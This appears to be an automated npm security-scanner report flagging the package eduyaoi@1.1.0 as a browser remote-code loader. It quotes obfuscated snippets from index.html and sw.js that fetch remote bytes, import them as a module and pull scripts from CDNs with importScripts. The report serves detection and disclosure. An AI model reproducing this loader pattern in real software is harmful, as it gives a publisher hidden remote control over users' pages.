Loading npm security reports…

eduyaoi@1.1.0: Malicious npm security report (Block) | LPM Firewall

registry / eduyaoi / 1.1.0

eduyaoi@1.1.0

eduyaoi

AI Security Review

scanned 10d ago · by lpm-firewall-ai

Opening index.html runs an obfuscated loader that fetches a remote package pointer, imports the returned bytes as a module, and calls its boot export. sw.js then loads a versioned remote script with importScripts from several CDN bases.

Static reason

One or more suspicious static signals were detected.

Trigger

A browser loads index.html or registers sw.js; nothing runs from an npm lifecycle hook.

Impact

Whoever controls the signed remote release can execute new script in the page and service worker without changing the npm package.

Mechanism

The page fetches pointer bytes, builds a blob URL, dynamically imports it, and invokes boot with a service-worker URL. The worker replaces a version placeholder from the page query string and importScripts the first CDN script that loads.

Attack narrative

eduyaoi publishes an obfuscated HTML loader as its entry. When that page is opened it fetches a remote pointer, dynamically imports the downloaded bytes, and calls the module boot function with a service-worker URL. The bundled worker reads a version from the page address and importScripts a matching script from hidden CDN bases, including jsDelivr, unpkg, and esm.sh. Install does not start this, but any site or user that loads the package files runs publisher-controlled remote code that can change without a new npm release.

AI rationale

The package is a browser remote-code loader: index.html dynamically imports fetched bytes and calls boot, and sw.js importScripts a versioned CDN script. Obfuscated CDN endpoints and an embedded signing key show publisher-controlled remote execution rather than a local library.

Evidence

index.htmlsw.js

Network endpoints4

cdn.jsdelivr.net

Source & flagged code

8 flagged · loading source

index.htmlView file

1return await import(_0x171419);}finally{URL[_0x27e382(_0x50af30._0x478c99,0x2c)](_0x171419);}}function te(_0x103512){const _0x5bc4cb={_0x302ca4:0x363,_0x624132:0x425};function _0x4

High

Ai Review Evidence

index.html turns fetched bytes into a blob URL and dynamically imports that module.

index.htmlView on unpkg · L1

1let {boot:_0x145873}=_0xc00f6a;if(typeof _0x145873!=_0x179657(-0x2c,_0x34d2b3._0xae0895))throw new Error(_0x179657(-_0x34d2b3._0x1a2e3b,-_0x34d2b3._0x28c87d));i

High

Ai Review Evidence

The imported module must export boot, which the page calls and passes a service-worker URL.

index.htmlView on unpkg · L1

1await _0x145873({...Se,..._0x3f17b8,'swUrl':_0x179657(-0x41,-0x33)+encodeURIComponent(_0x19eea5[_0x179657(-_0x34d2b3._0x3781b1,-_0x34d2b3._0x418f22)])

High

Ai Review Evidence

The imported module must export boot, which the page calls and passes a service-worker URL.

index.htmlView on unpkg · L1

1await J({'publicKeySpki':re,'pointerUrls':w?[w+_0x26de01(0x3b1,0x471)]:void 0x0,'fetchImpl':w?(_0x45ff40,_0x1cb0b9)=>fetch(String(_0x45ff40)[_0x26de01(0x3e9,0x3c4)](_0x26de01(0x3fd

High

Ai Review Evidence

On load the page fetches a remote pointer with an embedded public key and fetch.

index.htmlView on unpkg · L1

1var ye=[_0x26de01(0x273,0x30f),_0x26de01(0x2a8,0x28f),_0x26de01(0x3be,0x46d),_0x26de01(0x3c9,0x4a1),_0x26de01(0x344,0x328)];function B(_0x579f3e,_0xc0e1bc,_0x45eee6){const _0x5971a...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

package.jsonView file

6"main": "index.html", "files": [ "index.html", "sw.js" ], "keywords": [ "Eduyaoi" ], "author": "edurocks-group", "license": "MIT", "de

High

Suspicious Lifecycle Evidence

The published entry is index.html, and the tarball also ships sw.js, with no install lifecycle scripts.

package.jsonView on unpkg · L6

1var workerCdnBases=[_0x585061(0x234,0x23a),_0x585061(0x22a,0x233),_0x585061(0x23a,0x23f),_0x585061(0x245,0x23c),_0x58506

High

Ai Review Evidence

sw.js holds obfuscated CDN bases and calls importScripts after substituting a version taken from the page URL.

sw.jsView on unpkg · L1

1importScripts(workerCdnBases[index][_0x585061(0x23c,0x238)](_0x585061(0x233,0x234),'@'+loaderVersion+'/')),loaded=!![];break;}catch(_0x17c4ea){console[_0x585061(0x233,0x239)](_0x585061(0x242,0x23b),wo

High

Ai Review Evidence

sw.js holds obfuscated CDN bases and calls importScripts after substituting a version taken from the page URL.

sw.jsView on unpkg · L1